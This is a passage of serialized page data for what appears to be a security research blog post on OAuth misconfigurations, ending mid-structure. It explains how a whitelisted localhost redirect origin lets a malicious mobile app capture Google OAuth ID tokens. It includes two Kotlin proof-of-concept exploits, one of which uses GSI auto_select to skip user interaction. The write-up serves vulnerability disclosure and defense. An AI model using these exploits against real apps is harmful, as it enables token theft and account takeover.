",{"type":24,"tag":32,"props":99408,"children":99410},{"className":99409},[],[99411],{"type":29,"value":69313},{"type":29,"value":2287},{"type":24,"tag":32,"props":99414,"children":99416},{"className":99415},[],[99417],{"type":29,"value":39851},{"type":24,"tag":67,"props":99419,"children":99420},{},[99421],{"type":29,"value":99422},"The user clicks the \"Continue\" button to authorize authentication",{"type":24,"tag":67,"props":99424,"children":99425},{},[99426,99428],{"type":29,"value":99427},"They get redirected to ",{"type":24,"tag":2033,"props":99429,"children":99432},{"href":99430,"rel":99431},"https://accounts.google.com/gsi/transform",[2037],[99433],{"type":29,"value":99430},{"type":24,"tag":67,"props":99435,"children":99436},{},[99437,99439,99444],{"type":29,"value":99438},"/gsi/transform sends the token back to the RP via ",{"type":24,"tag":32,"props":99440,"children":99442},{"className":99441},[],[99443],{"type":29,"value":99274},{"type":29,"value":99445}," (after some SYN/ACK messages)",{"type":24,"tag":18631,"props":99447,"children":99449},{"id":99448},"oauth-20-old-flow",[99450],{"type":29,"value":99451},"OAuth 2.0 Old Flow",{"type":24,"tag":25,"props":99453,"children":99454},{},[99455,99457,99462],{"type":29,"value":99456},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":24,"tag":32,"props":99458,"children":99460},{"className":99459},[],[99461],{"type":29,"value":69481},{"type":29,"value":99463}," provided in the URL and validated by a whitelist configuration:",{"type":24,"tag":63,"props":99465,"children":99466},{},[99467,99471,99492,99496],{"type":24,"tag":67,"props":99468,"children":99469},{},[99470],{"type":29,"value":99393},{"type":24,"tag":67,"props":99472,"children":99473},{},[99474,99475,99480,99481,99486,99487],{"type":29,"value":99398},{"type":24,"tag":2033,"props":99476,"children":99478},{"href":99401,"rel":99477},[2037],[99479],{"type":29,"value":99401},{"type":29,"value":99406},{"type":24,"tag":32,"props":99482,"children":99484},{"className":99483},[],[99485],{"type":29,"value":69313},{"type":29,"value":2287},{"type":24,"tag":32,"props":99488,"children":99490},{"className":99489},[],[99491],{"type":29,"value":69481},{"type":24,"tag":67,"props":99493,"children":99494},{},[99495],{"type":29,"value":99422},{"type":24,"tag":67,"props":99497,"children":99498},{},[99499,99500,99505,99507],{"type":29,"value":99427},{"type":24,"tag":32,"props":99501,"children":99503},{"className":99502},[],[99504],{"type":29,"value":69481},{"type":29,"value":99506}," with the token in the query parameters or ",{"type":24,"tag":32,"props":99508,"children":99510},{"className":99509},[],[99511],{"type":29,"value":99512},"location.hash",{"type":24,"tag":18631,"props":99514,"children":99516},{"id":99515},"different-configurations",[99517],{"type":29,"value":99518},"Different Configurations",{"type":24,"tag":25,"props":99520,"children":99521},{},[99522],{"type":29,"value":99523},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":24,"tag":16422,"props":99525,"children":99526},{},[99527,99532],{"type":24,"tag":67,"props":99528,"children":99529},{},[99530],{"type":29,"value":99531},"Authorized origins",{"type":24,"tag":67,"props":99533,"children":99534},{},[99535],{"type":29,"value":99536},"Authorized redirect URIs",{"type":24,"tag":25,"props":99538,"children":99539},{},[99540],{"type":24,"tag":2510,"props":99541,"children":99543},{"alt":2512,"src":99542},"/posts/oauth-misconfigurations/image3.png",[],{"type":24,"tag":25,"props":99545,"children":99546},{},[99547,99549,99554],{"type":29,"value":99548},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":24,"tag":32,"props":99550,"children":99552},{"className":99551},[],[99553],{"type":29,"value":69313},{"type":29,"value":161},{"type":24,"tag":25,"props":99556,"children":99557},{},[99558,99560,99566,99568,99573],{"type":29,"value":99559},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":24,"tag":32,"props":99561,"children":99563},{"className":99562},[],[99564],{"type":29,"value":99565},"/oauth2/v2/auth",{"type":29,"value":99567}," by checking the ",{"type":24,"tag":32,"props":99569,"children":99571},{"className":99570},[],[99572],{"type":29,"value":39851},{"type":29,"value":99574}," query parameter.",{"type":24,"tag":25,"props":99576,"children":99577},{},[99578,99580,99585,99587,99592],{"type":29,"value":99579},"In the old flow, the ",{"type":24,"tag":32,"props":99581,"children":99583},{"className":99582},[],[99584],{"type":29,"value":69481},{"type":29,"value":99586}," parameter passed in the ",{"type":24,"tag":32,"props":99588,"children":99590},{"className":99589},[],[99591],{"type":29,"value":99565},{"type":29,"value":99593}," endpoint is validated against the authorized redirect URIs.",{"type":24,"tag":25,"props":99595,"children":99596},{},[99597,99599,99604,99606,99613],{"type":29,"value":99598},"Note that the new GSI flow can also have a different flow using ",{"type":24,"tag":32,"props":99600,"children":99602},{"className":99601},[],[99603],{"type":29,"value":69481},{"type":29,"value":99605}," validation. To execute this flow, you need to specify ",{"type":24,"tag":2033,"props":99607,"children":99610},{"href":99608,"rel":99609},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[2037],[99611],{"type":29,"value":99612},"login_uri",{"type":29,"value":99614}," while using the SDK.",{"type":24,"tag":1818,"props":99616,"children":99618},{"id":99617},"localhost-exploit",[99619],{"type":29,"value":99620},"Localhost Exploit",{"type":24,"tag":25,"props":99622,"children":99623},{},[99624,99626,99632],{"type":29,"value":99625},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":24,"tag":32,"props":99627,"children":99629},{"className":99628},[],[99630],{"type":29,"value":99631},"localhost",{"type":29,"value":99633}," origin because it is considered trusted for local testing.",{"type":24,"tag":25,"props":99635,"children":99636},{},[99637],{"type":29,"value":99638},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":24,"tag":18631,"props":99640,"children":99642},{"id":99641},"exploit",[99643],{"type":29,"value":99644},"Exploit",{"type":24,"tag":25,"props":99646,"children":99647},{},[99648,99650,99655,99656,99662],{"type":29,"value":99649},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":24,"tag":32,"props":99651,"children":99653},{"className":99652},[],[99654],{"type":29,"value":99512},{"type":29,"value":12879},{"type":24,"tag":32,"props":99657,"children":99659},{"className":99658},[],[99660],{"type":29,"value":99661},"location.search",{"type":29,"value":99663},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":24,"tag":73,"props":99665,"children":99669},{"className":99666,"code":99667,"language":99668,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.hash;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n","kt",[99670],{"type":24,"tag":32,"props":99671,"children":99672},{"__ignoreMap":7},[99673,99702,99721,99728,99735,99754,99765,99776,99807,99830,99877,99884,99891,99898,99905,99925,99956,99967,99974,99981,100000,100023,100034,100053,100068,100079,100102,100137,100156,100163,100174,100197,100208,100220,100227,100234,100241,100248,100255,100282],{"type":24,"tag":83,"props":99674,"children":99675},{"class":85,"line":86},[99676,99681,99685,99689,99693,99697],{"type":24,"tag":83,"props":99677,"children":99678},{"style":90},[99679],{"type":29,"value":99680}," override",{"type":24,"tag":83,"props":99682,"children":99683},{"style":90},[99684],{"type":29,"value":5953},{"type":24,"tag":83,"props":99686,"children":99687},{"style":101},[99688],{"type":29,"value":70168},{"type":24,"tag":83,"props":99690,"children":99691},{"style":107},[99692],{"type":29,"value":70173},{"type":24,"tag":83,"props":99694,"children":99695},{"style":3163},[99696],{"type":29,"value":70178},{"type":24,"tag":83,"props":99698,"children":99699},{"style":107},[99700],{"type":29,"value":99701},"?){\n",{"type":24,"tag":83,"props":99703,"children":99704},{"class":85,"line":113},[99705,99709,99713,99717],{"type":24,"tag":83,"props":99706,"children":99707},{"style":90},[99708],{"type":29,"value":70191},{"type":24,"tag":83,"props":99710,"children":99711},{"style":107},[99712],{"type":29,"value":161},{"type":24,"tag":83,"props":99714,"children":99715},{"style":101},[99716],{"type":29,"value":70200},{"type":24,"tag":83,"props":99718,"children":99719},{"style":107},[99720],{"type":29,"value":70205},{"type":24,"tag":83,"props":99722,"children":99723},{"class":85,"line":128},[99724],{"type":24,"tag":83,"props":99725,"children":99726},{"emptyLinePlaceholder":16},[99727],{"type":29,"value":3422},{"type":24,"tag":83,"props":99729,"children":99730},{"class":85,"line":183},[99731],{"type":24,"tag":83,"props":99732,"children":99733},{"style":2735},[99734],{"type":29,"value":70220},{"type":24,"tag":83,"props":99736,"children":99737},{"class":85,"line":203},[99738,99742,99746,99750],{"type":24,"tag":83,"props":99739,"children":99740},{"style":101},[99741],{"type":29,"value":70228},{"type":24,"tag":83,"props":99743,"children":99744},{"style":107},[99745],{"type":29,"value":70233},{"type":24,"tag":83,"props":99747,"children":99748},{"style":101},[99749],{"type":29,"value":70238},{"type":24,"tag":83,"props":99751,"children":99752},{"style":107},[99753],{"type":29,"value":125},{"type":24,"tag":83,"props":99755,"children":99756},{"class":85,"line":212},[99757,99761],{"type":24,"tag":83,"props":99758,"children":99759},{"style":117},[99760],{"type":29,"value":70250},{"type":24,"tag":83,"props":99762,"children":99763},{"style":107},[99764],{"type":29,"value":125},{"type":24,"tag":83,"props":99766,"children":99767},{"class":85,"line":256},[99768,99772],{"type":24,"tag":83,"props":99769,"children":99770},{"style":101},[99771],{"type":29,"value":70262},{"type":24,"tag":83,"props":99773,"children":99774},{"style":107},[99775],{"type":29,"value":7483},{"type":24,"tag":83,"props":99777,"children":99778},{"class":85,"line":270},[99779,99783,99787,99791,99795,99799,99803],{"type":24,"tag":83,"props":99780,"children":99781},{"style":107},[99782],{"type":29,"value":70274},{"type":24,"tag":83,"props":99784,"children":99785},{"style":101},[99786],{"type":29,"value":70279},{"type":24,"tag":83,"props":99788,"children":99789},{"style":107},[99790],{"type":29,"value":558},{"type":24,"tag":83,"props":99792,"children":99793},{"style":187},[99794],{"type":29,"value":70288},{"type":24,"tag":83,"props":99796,"children":99797},{"style":107},[99798],{"type":29,"value":568},{"type":24,"tag":83,"props":99800,"children":99801},{"style":187},[99802],{"type":29,"value":70297},{"type":24,"tag":83,"props":99804,"children":99805},{"style":107},[99806],{"type":29,"value":2905},{"type":24,"tag":83,"props":99808,"children":99809},{"class":85,"line":302},[99810,99814,99818,99822,99826],{"type":24,"tag":83,"props":99811,"children":99812},{"style":107},[99813],{"type":29,"value":70309},{"type":24,"tag":83,"props":99815,"children":99816},{"style":90},[99817],{"type":29,"value":1295},{"type":24,"tag":83,"props":99819,"children":99820},{"style":107},[99821],{"type":29,"value":70318},{"type":24,"tag":83,"props":99823,"children":99824},{"style":3163},[99825],{"type":29,"value":70323},{"type":24,"tag":83,"props":99827,"children":99828},{"style":107},[99829],{"type":29,"value":253},{"type":24,"tag":83,"props":99831,"children":99832},{"class":85,"line":324},[99833,99837,99841,99845,99849,99853,99857,99861,99865,99869,99873],{"type":24,"tag":83,"props":99834,"children":99835},{"style":107},[99836],{"type":29,"value":70274},{"type":24,"tag":83,"props":99838,"children":99839},{"style":101},[99840],{"type":29,"value":51169},{"type":24,"tag":83,"props":99842,"children":99843},{"style":107},[99844],{"type":29,"value":558},{"type":24,"tag":83,"props":99846,"children":99847},{"style":187},[99848],{"type":29,"value":70288},{"type":24,"tag":83,"props":99850,"children":99851},{"style":107},[99852],{"type":29,"value":568},{"type":24,"tag":83,"props":99854,"children":99855},{"style":187},[99856],{"type":29,"value":70355},{"type":24,"tag":83,"props":99858,"children":99859},{"style":90},[99860],{"type":29,"value":33845},{"type":24,"tag":83,"props":99862,"children":99863},{"style":143},[99864],{"type":29,"value":70364},{"type":24,"tag":83,"props":99866,"children":99867},{"style":90},[99868],{"type":29,"value":33877},{"type":24,"tag":83,"props":99870,"children":99871},{"style":187},[99872],{"type":29,"value":19800},{"type":24,"tag":83,"props":99874,"children":99875},{"style":107},[99876],{"type":29,"value":70377},{"type":24,"tag":83,"props":99878,"children":99879},{"class":85,"line":345},[99880],{"type":24,"tag":83,"props":99881,"children":99882},{"style":107},[99883],{"type":29,"value":58599},{"type":24,"tag":83,"props":99885,"children":99886},{"class":85,"line":358},[99887],{"type":24,"tag":83,"props":99888,"children":99889},{"style":107},[99890],{"type":29,"value":3092},{"type":24,"tag":83,"props":99892,"children":99893},{"class":85,"line":367},[99894],{"type":24,"tag":83,"props":99895,"children":99896},{"emptyLinePlaceholder":16},[99897],{"type":29,"value":3422},{"type":24,"tag":83,"props":99899,"children":99900},{"class":85,"line":406},[99901],{"type":24,"tag":83,"props":99902,"children":99903},{"style":2735},[99904],{"type":29,"value":70406},{"type":24,"tag":83,"props":99906,"children":99907},{"class":85,"line":427},[99908,99912,99916,99920],{"type":24,"tag":83,"props":99909,"children":99910},{"style":90},[99911],{"type":29,"value":70414},{"type":24,"tag":83,"props":99913,"children":99914},{"style":107},[99915],{"type":29,"value":70419},{"type":24,"tag":83,"props":99917,"children":99918},{"style":143},[99919],{"type":29,"value":1275},{"type":24,"tag":83,"props":99921,"children":99922},{"style":187},[99923],{"type":29,"value":99924}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":24,"tag":83,"props":99926,"children":99927},{"class":85,"line":440},[99928,99932,99936,99940,99944,99948,99952],{"type":24,"tag":83,"props":99929,"children":99930},{"style":90},[99931],{"type":29,"value":70414},{"type":24,"tag":83,"props":99933,"children":99934},{"style":107},[99935],{"type":29,"value":70440},{"type":24,"tag":83,"props":99937,"children":99938},{"style":143},[99939],{"type":29,"value":1275},{"type":24,"tag":83,"props":99941,"children":99942},{"style":101},[99943],{"type":29,"value":70449},{"type":24,"tag":83,"props":99945,"children":99946},{"style":107},[99947],{"type":29,"value":70454},{"type":24,"tag":83,"props":99949,"children":99950},{"style":101},[99951],{"type":29,"value":38929},{"type":24,"tag":83,"props":99953,"children":99954},{"style":107},[99955],{"type":29,"value":70463},{"type":24,"tag":83,"props":99957,"children":99958},{"class":85,"line":449},[99959,99963],{"type":24,"tag":83,"props":99960,"children":99961},{"style":101},[99962],{"type":29,"value":70471},{"type":24,"tag":83,"props":99964,"children":99965},{"style":107},[99966],{"type":29,"value":70476},{"type":24,"tag":83,"props":99968,"children":99969},{"class":85,"line":458},[99970],{"type":24,"tag":83,"props":99971,"children":99972},{"style":107},[99973],{"type":29,"value":446},{"type":24,"tag":83,"props":99975,"children":99976},{"class":85,"line":1065},[99977],{"type":24,"tag":83,"props":99978,"children":99979},{"emptyLinePlaceholder":16},[99980],{"type":29,"value":3422},{"type":24,"tag":83,"props":99982,"children":99983},{"class":85,"line":1668},[99984,99988,99992,99996],{"type":24,"tag":83,"props":99985,"children":99986},{"style":90},[99987],{"type":29,"value":70498},{"type":24,"tag":83,"props":99989,"children":99990},{"style":90},[99991],{"type":29,"value":5953},{"type":24,"tag":83,"props":99993,"children":99994},{"style":101},[99995],{"type":29,"value":70507},{"type":24,"tag":83,"props":99997,"children":99998},{"style":107},[99999],{"type":29,"value":110},{"type":24,"tag":83,"props":100001,"children":100002},{"class":85,"line":1713},[100003,100007,100011,100015,100019],{"type":24,"tag":83,"props":100004,"children":100005},{"style":101},[100006],{"type":29,"value":70519},{"type":24,"tag":83,"props":100008,"children":100009},{"style":107},[100010],{"type":29,"value":70524},{"type":24,"tag":83,"props":100012,"children":100013},{"style":143},[100014],{"type":29,"value":1275},{"type":24,"tag":83,"props":100016,"children":100017},{"style":245},[100018],{"type":29,"value":70533},{"type":24,"tag":83,"props":100020,"children":100021},{"style":107},[100022],{"type":29,"value":253},{"type":24,"tag":83,"props":100024,"children":100025},{"class":85,"line":1730},[100026,100030],{"type":24,"tag":83,"props":100027,"children":100028},{"style":101},[100029],{"type":29,"value":70545},{"type":24,"tag":83,"props":100031,"children":100032},{"style":107},[100033],{"type":29,"value":125},{"type":24,"tag":83,"props":100035,"children":100036},{"class":85,"line":1770},[100037,100041,100045,100049],{"type":24,"tag":83,"props":100038,"children":100039},{"style":90},[100040],{"type":29,"value":70557},{"type":24,"tag":83,"props":100042,"children":100043},{"style":107},[100044],{"type":29,"value":558},{"type":24,"tag":83,"props":100046,"children":100047},{"style":187},[100048],{"type":29,"value":70566},{"type":24,"tag":83,"props":100050,"children":100051},{"style":107},[100052],{"type":29,"value":253},{"type":24,"tag":83,"props":100054,"children":100055},{"class":85,"line":1778},[100056,100060,100064],{"type":24,"tag":83,"props":100057,"children":100058},{"style":107},[100059],{"type":29,"value":70578},{"type":24,"tag":83,"props":100061,"children":100062},{"style":101},[100063],{"type":29,"value":70583},{"type":24,"tag":83,"props":100065,"children":100066},{"style":107},[100067],{"type":29,"value":125},{"type":24,"tag":83,"props":100069,"children":100070},{"class":85,"line":1803},[100071,100075],{"type":24,"tag":83,"props":100072,"children":100073},{"style":101},[100074],{"type":29,"value":70595},{"type":24,"tag":83,"props":100076,"children":100077},{"style":107},[100078],{"type":29,"value":125},{"type":24,"tag":83,"props":100080,"children":100081},{"class":85,"line":1811},[100082,100086,100090,100094,100098],{"type":24,"tag":83,"props":100083,"children":100084},{"style":101},[100085],{"type":29,"value":70607},{"type":24,"tag":83,"props":100087,"children":100088},{"style":107},[100089],{"type":29,"value":70612},{"type":24,"tag":83,"props":100091,"children":100092},{"style":143},[100093],{"type":29,"value":1275},{"type":24,"tag":83,"props":100095,"children":100096},{"style":187},[100097],{"type":29,"value":70621},{"type":24,"tag":83,"props":100099,"children":100100},{"style":107},[100101],{"type":29,"value":2905},{"type":24,"tag":83,"props":100103,"children":100104},{"class":85,"line":8792},[100105,100109,100113,100117,100121,100125,100129,100133],{"type":24,"tag":83,"props":100106,"children":100107},{"style":101},[100108],{"type":29,"value":70607},{"type":24,"tag":83,"props":100110,"children":100111},{"style":107},[100112],{"type":29,"value":70637},{"type":24,"tag":83,"props":100114,"children":100115},{"style":143},[100116],{"type":29,"value":1275},{"type":24,"tag":83,"props":100118,"children":100119},{"style":187},[100120],{"type":29,"value":70646},{"type":24,"tag":83,"props":100122,"children":100123},{"style":107},[100124],{"type":29,"value":70651},{"type":24,"tag":83,"props":100126,"children":100127},{"style":143},[100128],{"type":29,"value":1275},{"type":24,"tag":83,"props":100130,"children":100131},{"style":187},[100132],{"type":29,"value":70660},{"type":24,"tag":83,"props":100134,"children":100135},{"style":107},[100136],{"type":29,"value":2905},{"type":24,"tag":83,"props":100138,"children":100139},{"class":85,"line":8810},[100140,100144,100148,100152],{"type":24,"tag":83,"props":100141,"children":100142},{"style":101},[100143],{"type":29,"value":70672},{"type":24,"tag":83,"props":100145,"children":100146},{"style":107},[100147],{"type":29,"value":558},{"type":24,"tag":83,"props":100149,"children":100150},{"style":187},[100151],{"type":29,"value":70681},{"type":24,"tag":83,"props":100153,"children":100154},{"style":107},[100155],{"type":29,"value":2905},{"type":24,"tag":83,"props":100157,"children":100158},{"class":85,"line":8855},[100159],{"type":24,"tag":83,"props":100160,"children":100161},{"style":107},[100162],{"type":29,"value":70693},{"type":24,"tag":83,"props":100164,"children":100165},{"class":85,"line":8961},[100166,100170],{"type":24,"tag":83,"props":100167,"children":100168},{"style":101},[100169],{"type":29,"value":70701},{"type":24,"tag":83,"props":100171,"children":100172},{"style":107},[100173],{"type":29,"value":125},{"type":24,"tag":83,"props":100175,"children":100176},{"class":85,"line":23248},[100177,100181,100185,100189,100193],{"type":24,"tag":83,"props":100178,"children":100179},{"style":101},[100180],{"type":29,"value":70713},{"type":24,"tag":83,"props":100182,"children":100183},{"style":107},[100184],{"type":29,"value":9333},{"type":24,"tag":83,"props":100186,"children":100187},{"style":143},[100188],{"type":29,"value":4126},{"type":24,"tag":83,"props":100190,"children":100191},{"style":187},[100192],{"type":29,"value":70726},{"type":24,"tag":83,"props":100194,"children":100195},{"style":107},[100196],{"type":29,"value":9342},{"type":24,"tag":83,"props":100198,"children":100199},{"class":85,"line":23283},[100200,100204],{"type":24,"tag":83,"props":100201,"children":100202},{"style":101},[100203],{"type":29,"value":70738},{"type":24,"tag":83,"props":100205,"children":100206},{"style":107},[100207],{"type":29,"value":125},{"type":24,"tag":83,"props":100209,"children":100210},{"class":85,"line":23291},[100211,100215],{"type":24,"tag":83,"props":100212,"children":100213},{"style":143},[100214],{"type":29,"value":70750},{"type":24,"tag":83,"props":100216,"children":100217},{"style":187},[100218],{"type":29,"value":100219},"\"document.body.innerText = location.hash;\"\n",{"type":24,"tag":83,"props":100221,"children":100222},{"class":85,"line":23299},[100223],{"type":24,"tag":83,"props":100224,"children":100225},{"style":107},[100226],{"type":29,"value":70763},{"type":24,"tag":83,"props":100228,"children":100229},{"class":85,"line":23308},[100230],{"type":24,"tag":83,"props":100231,"children":100232},{"style":107},[100233],{"type":29,"value":70693},{"type":24,"tag":83,"props":100235,"children":100236},{"class":85,"line":23350},[100237],{"type":24,"tag":83,"props":100238,"children":100239},{"style":107},[100240],{"type":29,"value":70778},{"type":24,"tag":83,"props":100242,"children":100243},{"class":85,"line":23383},[100244],{"type":24,"tag":83,"props":100245,"children":100246},{"style":107},[100247],{"type":29,"value":70786},{"type":24,"tag":83,"props":100249,"children":100250},{"class":85,"line":23391},[100251],{"type":24,"tag":83,"props":100252,"children":100253},{"style":107},[100254],{"type":29,"value":58599},{"type":24,"tag":83,"props":100256,"children":100257},{"class":85,"line":23399},[100258,100262,100266,100270,100274,100278],{"type":24,"tag":83,"props":100259,"children":100260},{"style":107},[100261],{"type":29,"value":70801},{"type":24,"tag":83,"props":100263,"children":100264},{"style":101},[100265],{"type":29,"value":70806},{"type":24,"tag":83,"props":100267,"children":100268},{"style":107},[100269],{"type":29,"value":70811},{"type":24,"tag":83,"props":100271,"children":100272},{"style":143},[100273],{"type":29,"value":1275},{"type":24,"tag":83,"props":100275,"children":100276},{"style":90},[100277],{"type":29,"value":12215},{"type":24,"tag":83,"props":100279,"children":100280},{"style":107},[100281],{"type":29,"value":2905},{"type":24,"tag":83,"props":100283,"children":100284},{"class":85,"line":23408},[100285],{"type":24,"tag":83,"props":100286,"children":100287},{"style":107},[100288],{"type":29,"value":446},{"type":24,"tag":25,"props":100290,"children":100291},{},[100292],{"type":29,"value":100293},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":24,"tag":25,"props":100295,"children":100296},{},[100297,100299,100305],{"type":29,"value":100298},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":24,"tag":32,"props":100300,"children":100302},{"className":100301},[],[100303],{"type":29,"value":100304},"auto_select",{"type":29,"value":100306}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":24,"tag":73,"props":100308,"children":100310},{"className":99666,"code":100309,"language":99668,"meta":7,"style":7},"    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            title(\"Test\")\n                            script {\n                                src = \"https://accounts.google.com/gsi/client\"\n                                attributes[\"async\"] = \"\"\n                                attributes[\"defer\"] = \"\"\n                            }\n                            script {\n                                unsafe {\n                                    +\"\"\"\n    function handleCredentialResponse(response) {\n      alert(\"credential: \" + response.credential);\n    }\n\n    window.onload = async function () {\n      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n      const client_id = oauth_url.searchParams.get(\"client_id\");\n      google.accounts.id.initialize({\n        client_id: client_id,\n        callback: handleCredentialResponse,\n        auto_select: true\n      });\n\n      google.accounts.id.renderButton(\n        document.getElementById(\"g_id_signin\"),\n        { theme: \"outline\", size: \"large\" }\n      );\n\n      google.accounts.id.prompt();\n    };\n                                    \"\"\".trimIndent()\n                                }\n                            }\n                        }\n                        body {\n                            h1 { +\"Login here:\" }\n                            div {\n                                id = \"g_id_signin\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n",[100311],{"type":24,"tag":32,"props":100312,"children":100313},{"__ignoreMap":7},[100314,100341,100360,100367,100386,100397,100408,100439,100462,100509,100516,100523,100530,100570,100581,100588,100595,100614,100637,100648,100667,100682,100693,100713,100724,100741,100767,100791,100798,100809,100821,100834,100842,100850,100857,100864,100872,100880,100888,100896,100904,100912,100920,100927,100934,100942,100950,100958,100965,100972,100980,100987,101008,101016,101023,101030,101041,101065,101077,101094,101101,101108,101116,101124,101132,101160],{"type":24,"tag":83,"props":100315,"children":100316},{"class":85,"line":86},[100317,100321,100325,100329,100333,100337],{"type":24,"tag":83,"props":100318,"children":100319},{"style":90},[100320],{"type":29,"value":70159},{"type":24,"tag":83,"props":100322,"children":100323},{"style":90},[100324],{"type":29,"value":5953},{"type":24,"tag":83,"props":100326,"children":100327},{"style":101},[100328],{"type":29,"value":70168},{"type":24,"tag":83,"props":100330,"children":100331},{"style":107},[100332],{"type":29,"value":70173},{"type":24,"tag":83,"props":100334,"children":100335},{"style":3163},[100336],{"type":29,"value":70178},{"type":24,"tag":83,"props":100338,"children":100339},{"style":107},[100340],{"type":29,"value":70183},{"type":24,"tag":83,"props":100342,"children":100343},{"class":85,"line":113},[100344,100348,100352,100356],{"type":24,"tag":83,"props":100345,"children":100346},{"style":90},[100347],{"type":29,"value":70191},{"type":24,"tag":83,"props":100349,"children":100350},{"style":107},[100351],{"type":29,"value":161},{"type":24,"tag":83,"props":100353,"children":100354},{"style":101},[100355],{"type":29,"value":70200},{"type":24,"tag":83,"props":100357,"children":100358},{"style":107},[100359],{"type":29,"value":70205},{"type":24,"tag":83,"props":100361,"children":100362},{"class":85,"line":128},[100363],{"type":24,"tag":83,"props":100364,"children":100365},{"emptyLinePlaceholder":16},[100366],{"type":29,"value":3422},{"type":24,"tag":83,"props":100368,"children":100369},{"class":85,"line":183},[100370,100374,100378,100382],{"type":24,"tag":83,"props":100371,"children":100372},{"style":101},[100373],{"type":29,"value":70228},{"type":24,"tag":83,"props":100375,"children":100376},{"style":107},[100377],{"type":29,"value":70233},{"type":24,"tag":83,"props":100379,"children":100380},{"style":101},[100381],{"type":29,"value":70238},{"type":24,"tag":83,"props":100383,"children":100384},{"style":107},[100385],{"type":29,"value":125},{"type":24,"tag":83,"props":100387,"children":100388},{"class":85,"line":203},[100389,100393],{"type":24,"tag":83,"props":100390,"children":100391},{"style":117},[100392],{"type":29,"value":70250},{"type":24,"tag":83,"props":100394,"children":100395},{"style":107},[100396],{"type":29,"value":125},{"type":24,"tag":83,"props":100398,"children":100399},{"class":85,"line":212},[100400,100404],{"type":24,"tag":83,"props":100401,"children":100402},{"style":101},[100403],{"type":29,"value":70262},{"type":24,"tag":83,"props":100405,"children":100406},{"style":107},[100407],{"type":29,"value":7483},{"type":24,"tag":83,"props":100409,"children":100410},{"class":85,"line":256},[100411,100415,100419,100423,100427,100431,100435],{"type":24,"tag":83,"props":100412,"children":100413},{"style":107},[100414],{"type":29,"value":70274},{"type":24,"tag":83,"props":100416,"children":100417},{"style":101},[100418],{"type":29,"value":70279},{"type":24,"tag":83,"props":100420,"c